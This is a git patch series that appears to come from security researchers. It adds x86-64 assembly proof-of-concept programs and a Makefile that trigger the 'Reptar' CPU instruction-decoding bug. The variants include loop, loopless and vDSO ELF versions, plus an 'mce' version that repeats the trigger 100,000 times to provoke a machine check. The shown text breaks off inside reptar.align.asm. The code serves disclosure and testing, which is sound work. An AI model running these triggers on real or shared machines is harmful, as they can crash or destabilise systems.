From bb628efdf8b6512714eb8f1a43b5356a07596635 Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 11:00:50 +0100 Subject: [PATCH 01/42] add minimized example --- pocs/cpus/reptar/minimized/Makefile | 10 +++++ pocs/cpus/reptar/minimized/reptar.asm | 59 +++++++++++++++++++++++++++ 2 files changed, 69 insertions(+) create mode 100644 pocs/cpus/reptar/minimized/Makefile create mode 100644 pocs/cpus/reptar/minimized/reptar.asm diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile new file mode 100644 index 00000000..464f5935 --- /dev/null +++ b/pocs/cpus/reptar/minimized/Makefile @@ -0,0 +1,10 @@ +all: rexit + +%: %.o + ld $^ -o $@ + +%.o: %.asm + nasm -g -F DWARF -f elf64 $^ -o $@ + +clean: + rm -rf *.o rexit diff --git a/pocs/cpus/reptar/minimized/reptar.asm b/pocs/cpus/reptar/minimized/reptar.asm new file mode 100644 index 00000000..d867c597 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.asm @@ -0,0 +1,59 @@ +BITS 64 + +global _start + +section .data + data: times 128 db 0 + +section .text + _start: + mov cl, 7 + mov eax, data + .loop_for_every_iteration: + mov rbx, cs + push rbx + push .loop_only_on_bug + call far [rsp] + .return_from_far_call: + align 64 + .loop_only_on_bug: + push rcx + clflush [rax] + clflush [rax+64] + mov rsi, 0 + cmp cl, 7 + cmove rsi, rax ; only make a valid move if rcx is 7 + mov rdi, data + mov cl, 1 + + align 64 + .reptar: + rep + db 0x44; rex.r + movsb + ; WHEN THE BUG TRIGGERS NOTHING BELOW HERE EXECUTES + ; the instructions at loop_only_on_bug execute instead + ; and the instruction pointer as seen by interrupts is + ; the one as if the execution continued below + .after_reptar: + rep + times 4 nop + jmp .skip_reptar_alias + + align 64 + ; this is aligned to match the rep rex.r movsb instruction + .reptar_alias: + nop;rep + nop;rex.r + nop;movsb + ; we cause a segfault on movsb above (by cmov rsi) but RIP will + ; point here instead on the segfault. + .after_reptar_alias: + times 100 int3 + + .skip_reptar_alias: + mov cl, 7 + align 32 + call .loop_for_every_iteration + .end_of_program: + nop From de7927c736d4ad52a3161784b01cd8622ba8328b Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 11:02:12 +0100 Subject: [PATCH 02/42] rename rexit to reptar on makefile --- pocs/cpus/reptar/minimized/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 464f5935..89ff9814 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,4 @@ -all: rexit +all: reptar %: %.o ld $^ -o $@ @@ -7,4 +7,4 @@ all: rexit nasm -g -F DWARF -f elf64 $^ -o $@ clean: - rm -rf *.o rexit + rm -rf *.o reptar From 9819f2cca4e04cc112a42bf3c4e27139dc0a9320 Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 16:19:41 +0100 Subject: [PATCH 03/42] add loopless --- .gitignore | 2 + .../cpus/reptar/minimized/reptar.loopless.asm | 77 +++++++++++++++++++ 2 files changed, 79 insertions(+) create mode 100644 .gitignore create mode 100644 pocs/cpus/reptar/minimized/reptar.loopless.asm diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..5e9e74ab --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +pocs/cpus/reptar/minimized/reptar.loopless +pocs/cpus/reptar/minimized/reptar diff --git a/pocs/cpus/reptar/minimized/reptar.loopless.asm b/pocs/cpus/reptar/minimized/reptar.loopless.asm new file mode 100644 index 00000000..977d4f6a --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.loopless.asm @@ -0,0 +1,77 @@ +BITS 64 + +; rax ; USED (data address) +; rbx ; NOT USED +; rcx ; USED (for REP MOVSB) +; rdx ; USED (temporarily) +; rbp ; NOT USED +; rsp ; NOT USED +; rsi ; USED (for REP MOVSB) +; rdi ; USED (for REP MOVSB) +; r8 ; USED (for counter) +; r9 ; NOT USED +; r10 ; NOT USED +; r11 ; NOT USED +; r12 ; NOT USED +; r13 ; NOT USED +; r14 ; NOT USED +; r15 ; NOT USED + +global _start + +%macro loopless_reptar 0 + align 128 + %%loop_for_every_iteration: + ; FLUSH TO MAKE INSTRUCTIONS BELOW SLOW + clflush [one] + clflush [seven] + clflush [rax] + clflush [rax+64] + clflush [rax+128] + + add rax, [rax] + mov rdx, [rax+64] + div qword [one+rdx] + mov rsi, [rax] + cmp rcx, [seven+rsi+rdx] + cmove rsi, rax + mov rdi, [rax+128+rdx] + lea rdi, [rsi+rdi] + mov cl, [one+rdx] + + align 128 + %%reptar: + rep + db 0x44; rex.r + movsb + %%after_reptar: + rep nop + mov ebx, 0xcccccccc + nop + mov cl, 7 + mfence + lfence + sfence +%endmacro + +section .data + one: dq 0x1 + seven: dq 0x7 + data: times 512 db 0 + +section .text + _start: + mov cl, 7 + mov eax, data + xor r8, r8 + ; make sure these dont pf + clflush [data] + clflush [one] + clflush [seven] + mfence + %rep 2 + loopless_reptar + inc r8 + %endrep + .end_of_program: + hlt From f8b3f1dd95209bc22f54fd356208fcc5027b3ba4 Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 17:17:42 +0100 Subject: [PATCH 04/42] better debugging --- .../cpus/reptar/minimized/reptar.loopless.asm | 64 ++++++++++--------- 1 file changed, 33 insertions(+), 31 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.loopless.asm b/pocs/cpus/reptar/minimized/reptar.loopless.asm index 977d4f6a..58cdd932 100644 --- a/pocs/cpus/reptar/minimized/reptar.loopless.asm +++ b/pocs/cpus/reptar/minimized/reptar.loopless.asm @@ -1,15 +1,15 @@ BITS 64 -; rax ; USED (data address) -; rbx ; NOT USED -; rcx ; USED (for REP MOVSB) -; rdx ; USED (temporarily) -; rbp ; NOT USED -; rsp ; NOT USED +; rax ; USED (for CPUID temporarily) +; rbx ; USED (for CPUID temporarily) +; rcx ; USED (for CPUID and REP MOVSB) +; rdx ; USED (temporarily and for CPUID) +; rbp ; USED (magic 0xCC) +; rsp ; USED (for counter) ; rsi ; USED (for REP MOVSB) ; rdi ; USED (for REP MOVSB) -; r8 ; USED (for counter) -; r9 ; NOT USED +; r8 ; NOT USED +; r9 ; USED (data address) ; r10 ; NOT USED ; r11 ; NOT USED ; r12 ; NOT USED @@ -24,20 +24,27 @@ global _start %%loop_for_every_iteration: ; FLUSH TO MAKE INSTRUCTIONS BELOW SLOW clflush [one] - clflush [seven] - clflush [rax] - clflush [rax+64] - clflush [rax+128] + clflush [magic] + clflush [r9] + clflush [r9+64] + clflush [r9+128] + mfence + lfence + sfence + cpuid - add rax, [rax] - mov rdx, [rax+64] + add r9, [r9] + mov rdx, [r9+64] + lea rax, [r9] div qword [one+rdx] - mov rsi, [rax] - cmp rcx, [seven+rsi+rdx] - cmove rsi, rax - mov rdi, [rax+128+rdx] + lea r9, [rax] + mov rsi, [r9] + cmp rbp, [magic+rsi+rdx] + cmove rsi, r9 + mov rdi, [r9+128+rdx] lea rdi, [rsi+rdi] - mov cl, [one+rdx] + mov ecx, [one+rdx] + xor ebp, ebp align 128 %%reptar: @@ -46,32 +53,27 @@ global _start movsb %%after_reptar: rep nop - mov ebx, 0xcccccccc + mov ebp, 0xcccccccc nop - mov cl, 7 - mfence - lfence - sfence %endmacro section .data one: dq 0x1 - seven: dq 0x7 + magic: dq 0xcccccccc data: times 512 db 0 section .text _start: - mov cl, 7 - mov eax, data - xor r8, r8 + mov r9, data + mov ebp, 0xcccccccc + xor rsp, rsp ; make sure these dont pf clflush [data] clflush [one] - clflush [seven] - mfence + clflush [magic] %rep 2 loopless_reptar - inc r8 + inc rsp %endrep .end_of_program: hlt From d4b95f3f0ffd10d36a17bf694b36f69c5cb94f78 Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 19:52:53 +0100 Subject: [PATCH 05/42] use sched_deadline --- .../cpus/reptar/minimized/reptar.loopless.asm | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/pocs/cpus/reptar/minimized/reptar.loopless.asm b/pocs/cpus/reptar/minimized/reptar.loopless.asm index 58cdd932..6be71b08 100644 --- a/pocs/cpus/reptar/minimized/reptar.loopless.asm +++ b/pocs/cpus/reptar/minimized/reptar.loopless.asm @@ -57,11 +57,39 @@ global _start nop %endmacro +section .bss + struc sched_attr + size: resd 1 ; Size of this structure + sched_policy: resd 1 ; Policy (SCHED_*) + sched_flags: resq 1 ; Flags + sched_nice: resd 1 ; Nice value (SCHED_OTHER, SCHED_BATCH) + sched_priority: resd 1 ; Static priority (SCHED_FIFO, SCHED_RR) + sched_runtime: resq 1 ; + sched_deadline: resq 1 ; + sched_period: resq 1 ; + sched_util_min: resd 1 ; + sched_util_max: resd 1 ; + endstruc + section .data one: dq 0x1 magic: dq 0xcccccccc data: times 512 db 0 + deadline_scheduled_attr: + istruc sched_attr + at size, dd sched_attr_size ; SCHED_ATTR_SIZE_VER0 + at sched_policy, dd 6 ; SCHED_DEADLINE=6 + at sched_flags, dq 0 ; no flags + at sched_nice, dd 0 ; nice (ignored?) + at sched_priority, dd 0 ; priority (ignored) + at sched_runtime, dq 1000*1000 ; + at sched_deadline, dq 1000*1000 ; + at sched_period, dq 1000*1000 ; same as deadline + at sched_util_min, dd 0 + at sched_util_max, dd 0 + iend + section .text _start: mov r9, data @@ -71,6 +99,13 @@ section .text clflush [data] clflush [one] clflush [magic] + mov rax, 314 ; sched_setattr + mov rdi, 0 ; pid=0 for current + mov rsi, deadline_scheduled_attr ; attr + mov rdx, 0 ; flags + syscall + mov rax, 24 ; sched_yield + syscall %rep 2 loopless_reptar inc rsp From 710a73289a3835b72c851f6cc3d48b5888d328fd Mon Sep 17 00:00:00 2001 From: eduardo Date: Mon, 20 Nov 2023 19:53:22 +0100 Subject: [PATCH 06/42] undo sched_deadline --- .../cpus/reptar/minimized/reptar.loopless.asm | 33 ------------------- 1 file changed, 33 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.loopless.asm b/pocs/cpus/reptar/minimized/reptar.loopless.asm index 6be71b08..a259f15b 100644 --- a/pocs/cpus/reptar/minimized/reptar.loopless.asm +++ b/pocs/cpus/reptar/minimized/reptar.loopless.asm @@ -57,39 +57,11 @@ global _start nop %endmacro -section .bss - struc sched_attr - size: resd 1 ; Size of this structure - sched_policy: resd 1 ; Policy (SCHED_*) - sched_flags: resq 1 ; Flags - sched_nice: resd 1 ; Nice value (SCHED_OTHER, SCHED_BATCH) - sched_priority: resd 1 ; Static priority (SCHED_FIFO, SCHED_RR) - sched_runtime: resq 1 ; - sched_deadline: resq 1 ; - sched_period: resq 1 ; - sched_util_min: resd 1 ; - sched_util_max: resd 1 ; - endstruc - section .data one: dq 0x1 magic: dq 0xcccccccc data: times 512 db 0 - deadline_scheduled_attr: - istruc sched_attr - at size, dd sched_attr_size ; SCHED_ATTR_SIZE_VER0 - at sched_policy, dd 6 ; SCHED_DEADLINE=6 - at sched_flags, dq 0 ; no flags - at sched_nice, dd 0 ; nice (ignored?) - at sched_priority, dd 0 ; priority (ignored) - at sched_runtime, dq 1000*1000 ; - at sched_deadline, dq 1000*1000 ; - at sched_period, dq 1000*1000 ; same as deadline - at sched_util_min, dd 0 - at sched_util_max, dd 0 - iend - section .text _start: mov r9, data @@ -99,11 +71,6 @@ section .text clflush [data] clflush [one] clflush [magic] - mov rax, 314 ; sched_setattr - mov rdi, 0 ; pid=0 for current - mov rsi, deadline_scheduled_attr ; attr - mov rdx, 0 ; flags - syscall mov rax, 24 ; sched_yield syscall %rep 2 From 7e0c8ca351bfa4d253594f8e8a8e498bfb24ca47 Mon Sep 17 00:00:00 2001 From: "Eduardo' Vela\" Nava (sirdarckcat)" Date: Tue, 21 Nov 2023 09:13:13 +0100 Subject: [PATCH 07/42] Rename reptar.asm to reptar.loop.asm --- pocs/cpus/reptar/minimized/{reptar.asm => reptar.loop.asm} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename pocs/cpus/reptar/minimized/{reptar.asm => reptar.loop.asm} (100%) diff --git a/pocs/cpus/reptar/minimized/reptar.asm b/pocs/cpus/reptar/minimized/reptar.loop.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.asm rename to pocs/cpus/reptar/minimized/reptar.loop.asm From a2ca2d9c418f8a89840576b9eb14347239426f0b Mon Sep 17 00:00:00 2001 From: "Eduardo' Vela\" Nava (sirdarckcat)" Date: Tue, 21 Nov 2023 09:15:23 +0100 Subject: [PATCH 08/42] Update Makefile --- pocs/cpus/reptar/minimized/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 89ff9814..2e2c5f34 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,4 @@ -all: reptar +all: reptar.loop reptar.loopless %: %.o ld $^ -o $@ @@ -7,4 +7,4 @@ all: reptar nasm -g -F DWARF -f elf64 $^ -o $@ clean: - rm -rf *.o reptar + rm -rf *.o reptar.loop reptar.loopless From 769d451835e73953948ff7754b2edb319f6675a8 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 21 Nov 2023 19:00:38 +0100 Subject: [PATCH 09/42] add reptar elf file --- pocs/cpus/reptar/minimized/Makefile | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 2e2c5f34..1551f1d2 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,8 @@ -all: reptar.loop reptar.loopless +all: reptar.loop reptar.loopless reptar.elf + +reptar.elf: reptar.elf.asm + nasm -f bin reptar.elf.asm -o reptar.elf + chmod +x reptar.elf %: %.o ld $^ -o $@ @@ -7,4 +11,4 @@ all: reptar.loop reptar.loopless nasm -g -F DWARF -f elf64 $^ -o $@ clean: - rm -rf *.o reptar.loop reptar.loopless + rm -rf *.o reptar.loop reptar.loopless reptar.elf From a67fe190dcd4b0687bf98d0258363b8c7b1fde05 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 21 Nov 2023 19:02:26 +0100 Subject: [PATCH 10/42] add asm --- pocs/cpus/reptar/minimized/reptar.elf.asm | 83 +++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 pocs/cpus/reptar/minimized/reptar.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.elf.asm b/pocs/cpus/reptar/minimized/reptar.elf.asm new file mode 100644 index 00000000..21d553ef --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.elf.asm @@ -0,0 +1,83 @@ +bits 64 + org 0x7ffff7ff8000 + +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 2 ; e_type + dw 62 ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq text_phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +text_phdr: ; Elf64_Phdr + dd 1 ; p_type + dd 5 ; p_flags + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq textsize ; p_filesz + dq textsize ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - text_phdr + +_start: + mov cl, 7 + lea rax, [rsp - 0x1000] + lea r8, [.after_reptar - .loop_only_on_bug] + mov r10, 0x00007ffff7ffde40 ; after time + xor rbx, rbx + mov rdx, .end_of_program + mov r11, .loop_only_on_bug + push rdx + xor rdx, rdx + .loop_for_every_iteration: + jmp .loop_only_on_bug + .loop_only_on_bug: + clflush [rax] + clflush [rax+64] + mov rsi, rax + mov rdi, rax + mov cl, 1 + inc rdx + mov r9, rdx + sub r9, rbx + imul r9, r8 + add r9, r11 + cmp r9, r10 ; we are past vdso + jae 0x00007ffff7ffde10 ; time + + .reptar: + rep + db 0x44; rex.r + movsb + .after_reptar: + rep + times 4 nop + jmp .skip_reptar_alias + + .reptar_alias: + nop + nop + nop + .after_reptar_alias: + times 100 int3 + + .skip_reptar_alias: + inc rbx + jmp .loop_for_every_iteration + .end_of_program: + int3 + int3 +textsize equ $ - $$ \ No newline at end of file From 16cd2c2d4f45c8e8dc2870294a79bc3d514f2045 Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 10:19:24 +0100 Subject: [PATCH 11/42] add the two variants of the elf --- pocs/cpus/reptar/minimized/Makefile | 12 +-- ...{reptar.elf.asm => reptar.vdsojmp.elf.asm} | 21 ++-- .../reptar/minimized/reptar.vdsopf.elf.asm | 95 +++++++++++++++++++ 3 files changed, 116 insertions(+), 12 deletions(-) rename pocs/cpus/reptar/minimized/{reptar.elf.asm => reptar.vdsojmp.elf.asm} (83%) create mode 100644 pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 1551f1d2..5aaf9f7f 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,14 +1,14 @@ -all: reptar.loop reptar.loopless reptar.elf +all: reptar.loop reptar.loopless reptar.vdsojmp.elf reptar.vdsopf.elf -reptar.elf: reptar.elf.asm - nasm -f bin reptar.elf.asm -o reptar.elf - chmod +x reptar.elf +%.elf: %.elf.asm + nasm -f bin $^ -o $@ + chmod +x $@ -%: %.o +%.out: %.o ld $^ -o $@ %.o: %.asm nasm -g -F DWARF -f elf64 $^ -o $@ clean: - rm -rf *.o reptar.loop reptar.loopless reptar.elf + rm -rf *.o reptar.loop reptar.loopless reptar.vdsojmp.elf reptar.vdsopf.elf diff --git a/pocs/cpus/reptar/minimized/reptar.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm similarity index 83% rename from pocs/cpus/reptar/minimized/reptar.elf.asm rename to pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm index 21d553ef..cac5cdab 100644 --- a/pocs/cpus/reptar/minimized/reptar.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm @@ -36,14 +36,15 @@ _start: mov cl, 7 lea rax, [rsp - 0x1000] lea r8, [.after_reptar - .loop_only_on_bug] - mov r10, 0x00007ffff7ffde40 ; after time + mov r10, 0x00007ffff7ffda40 ; after time xor rbx, rbx mov rdx, .end_of_program + lea r13, [rsp-0x4000] + mov r15, .skip_reptar_alias mov r11, .loop_only_on_bug push rdx xor rdx, rdx .loop_for_every_iteration: - jmp .loop_only_on_bug .loop_only_on_bug: clflush [rax] clflush [rax+64] @@ -56,7 +57,11 @@ _start: imul r9, r8 add r9, r11 cmp r9, r10 ; we are past vdso - jae 0x00007ffff7ffde10 ; time + cmova r12, r13 ; this will PF but recover + cmova rax, rcx ; this will break/PF the clflush + cmovna r12, rsp ; ths wont PF + clflush [r12] + clflush [rax] .reptar: rep @@ -64,15 +69,19 @@ _start: movsb .after_reptar: rep - times 4 nop - jmp .skip_reptar_alias + times 64 nop + jmp r15 .reptar_alias: nop nop nop .after_reptar_alias: - times 100 int3 + times 100 nop + ; kill + mov eax, 0 + mov ebx, 0 + int 0x80 .skip_reptar_alias: inc rbx diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm new file mode 100644 index 00000000..9d5814ee --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm @@ -0,0 +1,95 @@ +bits 64 + org 0x7ffff7ff8000 + +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 2 ; e_type + dw 62 ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq text_phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +text_phdr: ; Elf64_Phdr + dd 1 ; p_type + dd 5 ; p_flags + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq textsize ; p_filesz + dq textsize ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - text_phdr + +_start: + mov rdx, .end_of_program + times 10 push rdx + lea rax, [rsp - 0x1000] + lea r8, [.after_reptar - .loop_only_on_bug] + mov r10, 0x00007ffff7ffda40 ; after time + mov r11, .loop_only_on_bug + xor rdx, rdx + xor rbx, rbx + xor r12, r12 + mov r13, 0x13371337 + .loop_for_every_iteration: + jmp r11 + .loop_only_on_bug: + nop + nop + clflush [rax] + clflush [rax+64] + mov rsi, rax + mov rdi, rax + mov cl, 1 + inc rdx + mov r9, rdx + sub r9, r12 + imul r9, r8 + add r9, r11 + xor rbx, rbx + cmp r9, r10 + setae bl + imul rbx, 0x4000 + neg rbx + add rbx, rsp + nop + mov qword [rbx], r13 + mov qword [rsp], r11 + ;jae 0x00007ffff7ffda40 ; time + + .reptar: + rep + db 0x44; rex.r + movsb + .after_reptar: + rep + times 4 nop + jmp .skip_reptar_alias + + .reptar_alias: + nop + nop + nop + .after_reptar_alias: + times 100 nop + int3 + + .skip_reptar_alias: + inc r12 + jmp .loop_for_every_iteration + .end_of_program: + int3 + int3 +textsize equ $ - $$ \ No newline at end of file From 1cc4439185341f48c1ab95175d8df9c464c033c1 Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 13:20:16 +0100 Subject: [PATCH 12/42] add mce poc --- pocs/cpus/reptar/minimized/Makefile | 4 +- pocs/cpus/reptar/minimized/reptar.mce.asm | 70 +++++++++++++++++++++++ 2 files changed, 72 insertions(+), 2 deletions(-) create mode 100644 pocs/cpus/reptar/minimized/reptar.mce.asm diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 5aaf9f7f..a053a720 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,4 @@ -all: reptar.loop reptar.loopless reptar.vdsojmp.elf reptar.vdsopf.elf +all: reptar.loop.out reptar.loopless.out reptar.mce.out reptar.vdsojmp.elf reptar.vdsopf.elf %.elf: %.elf.asm nasm -f bin $^ -o $@ @@ -11,4 +11,4 @@ all: reptar.loop reptar.loopless reptar.vdsojmp.elf reptar.vdsopf.elf nasm -g -F DWARF -f elf64 $^ -o $@ clean: - rm -rf *.o reptar.loop reptar.loopless reptar.vdsojmp.elf reptar.vdsopf.elf + rm -rf *.o *.out *.elf diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm new file mode 100644 index 00000000..01f6d15b --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -0,0 +1,70 @@ +BITS 64 + +global _start + +section .data + data: times 128 db 0 + +;rax USED cpuid +;rbx USED cpuid +;rcx USED cpuid and rep movsb +;rdx USED cpuid +;rsi USED rep movsb +;rdi USED rep movsb +;rsp +;rbp +;r8 USED counter +;r9 +;r10 +;r11 +;r12 +;r13 +;r14 +;r15 + +section .text + _start: + push 0xDEADBEEF + mov r8, 0 + .first_reptar: + clflush [data] + clflush [data+64] + mov rsi, data + mov rdi, data + inc rcx + ; first repmovsb nothing happens, the flushes below will happen + rep + db 0x44; rex.r + movsb + pause + .second_reptar: + clflush [data] + clflush [data+64] + dec rsi + dec rdi + inc rcx + ; second repmovsb, the following 3 bytes are skipped when decoding + rep + db 0x44; rex.r + movsb + rep ; must be a prefix + push rcx ; ignored + push rcx ; ignored + mov rax, data + .many_reptars: + %rep 0 + clflush [rax] + clflush [rax+64] + xor rax, rax + dec rsi + dec rdi + inc rcx + rep + db 0x44; rex.r + movsb + pause + mov rax, data + xor rcx, rcx + %endrep + nop + times 1024 int3 From e84138cfdb049e29b75bd5c7296adf3803cb86ef Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 13:32:58 +0100 Subject: [PATCH 13/42] update mce poc --- pocs/cpus/reptar/minimized/reptar.mce.asm | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm index 01f6d15b..07fa8a02 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -50,12 +50,10 @@ section .text rep ; must be a prefix push rcx ; ignored push rcx ; ignored - mov rax, data .many_reptars: - %rep 0 - clflush [rax] - clflush [rax+64] - xor rax, rax + %rep 10000 + clflush [rdi-1] + clflush [rsi+63] dec rsi dec rdi inc rcx @@ -63,8 +61,7 @@ section .text db 0x44; rex.r movsb pause - mov rax, data - xor rcx, rcx + pause %endrep nop times 1024 int3 From 8733c5e7776d24c4a5391ca66fd9c656c7742c99 Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 13:49:49 +0100 Subject: [PATCH 14/42] simplify mce poc --- pocs/cpus/reptar/minimized/reptar.mce.asm | 49 ++--------------------- 1 file changed, 3 insertions(+), 46 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm index 07fa8a02..d5a42c6a 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -2,54 +2,11 @@ BITS 64 global _start -section .data - data: times 128 db 0 - -;rax USED cpuid -;rbx USED cpuid -;rcx USED cpuid and rep movsb -;rdx USED cpuid -;rsi USED rep movsb -;rdi USED rep movsb -;rsp -;rbp -;r8 USED counter -;r9 -;r10 -;r11 -;r12 -;r13 -;r14 -;r15 - section .text _start: - push 0xDEADBEEF - mov r8, 0 - .first_reptar: - clflush [data] - clflush [data+64] - mov rsi, data - mov rdi, data - inc rcx - ; first repmovsb nothing happens, the flushes below will happen - rep - db 0x44; rex.r - movsb - pause - .second_reptar: - clflush [data] - clflush [data+64] - dec rsi - dec rdi - inc rcx - ; second repmovsb, the following 3 bytes are skipped when decoding - rep - db 0x44; rex.r - movsb - rep ; must be a prefix - push rcx ; ignored - push rcx ; ignored + xor rcx, rcx + lea rsi, [rsp+1] + mov rdi, rsi .many_reptars: %rep 10000 clflush [rdi-1] From 15c1c1dc0ec9852ccb77aaa399409de6f8a86f65 Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 13:50:22 +0100 Subject: [PATCH 15/42] increase copies of reptar 10x --- pocs/cpus/reptar/minimized/reptar.mce.asm | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm index d5a42c6a..2bc39a54 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -8,7 +8,7 @@ section .text lea rsi, [rsp+1] mov rdi, rsi .many_reptars: - %rep 10000 + %rep 100000 clflush [rdi-1] clflush [rsi+63] dec rsi From 35bb15fcf00e62112a0bef9ddd098efc3178fe79 Mon Sep 17 00:00:00 2001 From: eduardo Date: Wed, 22 Nov 2023 13:53:05 +0100 Subject: [PATCH 16/42] ignore output --- .gitignore | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 5e9e74ab..27ab7060 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,2 @@ -pocs/cpus/reptar/minimized/reptar.loopless -pocs/cpus/reptar/minimized/reptar +pocs/cpus/reptar/minimized/reptar.*.out +pocs/cpus/reptar/minimized/reptar.*.elf From a3e6151e4bb09ee26a2caa4db5055ca6563a977e Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 23 Nov 2023 19:50:51 +0100 Subject: [PATCH 17/42] add alignment poc --- pocs/cpus/reptar/minimized/Makefile | 2 +- pocs/cpus/reptar/minimized/reptar.align.asm | 35 +++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 pocs/cpus/reptar/minimized/reptar.align.asm diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index a053a720..3b77b999 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,4 @@ -all: reptar.loop.out reptar.loopless.out reptar.mce.out reptar.vdsojmp.elf reptar.vdsopf.elf +all: reptar.loop.out reptar.loopless.out reptar.mce.out reptar.align.out reptar.vdsojmp.elf reptar.vdsopf.elf %.elf: %.elf.asm nasm -f bin $^ -o $@ diff --git a/pocs/cpus/reptar/minimized/reptar.align.asm b/pocs/cpus/reptar/minimized/reptar.align.asm new file mode 100644 index 00000000..3ce0c8e6 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.align.asm @@ -0,0 +1,35 @@ +BITS 64 + +global _start + +section .text + _start: + mov eax, 24 ; yield + jmp .suffix + .attack: + mov eax, 60 ; exit + xor ecx, ecx; clear ecx + lea rsi, [rsp+1] 